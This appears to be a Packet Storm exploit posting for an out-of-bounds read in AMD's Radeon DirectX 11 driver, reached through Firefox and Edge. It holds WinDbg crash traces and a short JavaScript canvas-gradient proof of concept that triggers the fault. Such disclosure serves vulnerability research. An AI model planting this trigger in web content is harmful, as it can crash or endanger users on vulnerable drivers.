what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AMD Radeon DirectX 11 Driver 8.17.10.0871 Memory Corruption

AMD Radeon DirectX 11 Driver 8.17.10.0871 Memory Corruption
Posted Apr 23, 2020
Authored by Marcin Ressel

AMD Radeon DirectX 11 Driver version 8.17.10.0871 suffers from a memory corruption vulnerability.

tags | exploit
SHA-256 | 0de14ea2d6e635df7244593dd7f398331162c4971243f548ce644e988a64bdf7

AMD Radeon DirectX 11 Driver 8.17.10.0871 Memory Corruption

Change Mirror Download
/*
Title : Advanced Micro Devices, Inc. Radeon DirectX 11 Driver (Firefox/MS Edge) Memory Corruption
Date : 10.04.2020
Exploit Author : Marcin Ressel
Vendor Homepage : https://www.amd.com/
Software Link: n/a
Version: 8.17.10.0871 (atidxx64.dll)
Tested on: Windows 10 home, AMD64 Family 23 Model 24 Stepping 1 AuthenticAMD ~2100 Mhz,
Firefox 74.0 (64 bity)
MS Edge
----
24a5122ef60 - 24a512270f0 = 0x7E70 && 0x7f10 - 0x7E70 = A0 = offset = OUT_OF_BOUNDS READ
----
0:123> g
(2560.1f28): Access violation - code c0000005 (!!! second chance !!!)
atidxx64!AmdDxGsaFreeCompiledShader+0x45901d:
00007ffc`994cfecd 83bba000000013 cmp dword ptr [rbx+0A0h],13h ds:0000024a`5122f000=????????
0:123> !heap -p -a @rbx
24a512270f0
address 0000024a5122ef60 found in
_DPH_HEAP_ROOT @ 24a50701000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
24a653f10d0: 24a512270f0 7f10 - 24a51227000 9000
00007ffca7204847 ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007ffca71b4a16 ntdll!RtlpAllocateHeap+0x0000000000077b26
00007ffca713babb ntdll!RtlpAllocateHeapInternal+0x00000000000001cb
00007ffc99378a05 atidxx64!AmdDxGsaFreeCompiledShader+0x0000000000301b55
00007ffc996af263 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000006383b3
00007ffc996ae802 atidxx64!AmdDxGsaFreeCompiledShader+0x0000000000637952
00007ffc993e9891 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000003729e1
00007ffc9917a7db atidxx64!AmdDxGsaFreeCompiledShader+0x000000000010392b
00007ffc9917949b atidxx64!AmdDxGsaFreeCompiledShader+0x00000000001025eb
00007ffc99169680 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000000f27d0
00007ffc99148e8a atidxx64!AmdDxGsaFreeCompiledShader+0x00000000000d1fda
00007ffc990951f4 atidxx64!AmdDxGsaFreeCompiledShader+0x000000000001e344
00007ffc998509ce atidxx64!AmdDxGsaFreeCompiledShader+0x00000000007d9b1e
00007ffc9984b950 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000007d4aa0
00007ffc99826a26 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000007afb76
00007ffc990aedcb atidxx64!AmdDxGsaFreeCompiledShader+0x0000000000037f1b
00007ffc990ae6a9 atidxx64!AmdDxGsaFreeCompiledShader+0x00000000000377f9
00007ffc99952114 atidxx64!AmdLiquidVrD3D11WrapDeviceContext+0x00000000000a4654
00007ffca6747bd4 KERNEL32!BaseThreadInitThunk+0x0000000000000014
00007ffca716ced1 ntdll!RtlUserThreadStart+0x0000000000000021


0:123> kb
# RetAddr : Args to Child : Call Site
00 00007ffc`994b4f3e : 0000024a`5122db98 0000024a`50dcef01 0000024a`5c27b600 0000024a`51228650 : atidxx64!AmdDxGsaFreeCompiledShader+0x45901d
01 00007ffc`99166094 : 0000024a`00000000 0000024a`00000000 0000024a`51211fc0 00000056`0743ec89 : atidxx64!AmdDxGsaFreeCompiledShader+0x43e08e
02 00007ffc`9917a1d3 : 0000024a`5122db80 0000024a`51211fc0 0000024a`0000002d 0000024a`51211fc0 : atidxx64!AmdDxGsaFreeCompiledShader+0xef1e4
03 00007ffc`99169680 : 0000024a`60901a50 0000024a`50e63108 00000000`00000002 0000024a`60901a50 : atidxx64!AmdDxGsaFreeCompiledShader+0x103323
04 00007ffc`99148e8a : 0000024a`60901a50 0000024a`50ddb1f0 0000024a`50dd6400 0000024a`60901a50 : atidxx64!AmdDxGsaFreeCompiledShader+0xf27d0
05 00007ffc`990951f4 : 00000000`00000001 0000024a`50dd6400 0000024a`50ddb1f0 0000024a`50ae0ec0 : atidxx64!AmdDxGsaFreeCompiledShader+0xd1fda
06 00007ffc`998509ce : 00000000`00000000 00000056`0743f5a0 0000024a`50dd6400 0000024a`5085c4c0 : atidxx64!AmdDxGsaFreeCompiledShader+0x1e344
07 00007ffc`9984b950 : 0000024a`00000000 0000024a`507d7d08 00000000`00000000 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x7d9b1e
08 00007ffc`99826a26 : 00000000`00000000 00000000`00000000 0000024a`50cfafe0 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x7d4aa0
09 00007ffc`990aedcb : 0000024a`50cfafe0 00000000`00000000 0000024a`5dc8ffd0 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x7afb76
0a 00007ffc`990ae6a9 : 00000000`00000000 0000024a`57423fd0 00000000`00000000 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x37f1b
0b 00007ffc`99952114 : 0000024a`57423fd0 00000000`00000000 00000000`00000000 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x377f9
0c 00007ffc`a6747bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : atidxx64!AmdLiquidVrD3D11WrapDeviceContext+0xa4654
0d 00007ffc`a716ced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
0e 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
*/

var canvas=document.createElement("canvas");
document.body.appendChild(canvas);
var context = canvas.getContext("2d")

function radioActiveGradient() {
var ret = context.createRadialGradient(1,1,0,1,0.6898449305444956,1);
ret.addColorStop(0,"rgb(1,1,1)");
return ret;
}

context.arc(1,0.6898449305444956,1,0,1);
context.strokeStyle=radioActiveGradient();
context.stroke()
Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    20 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close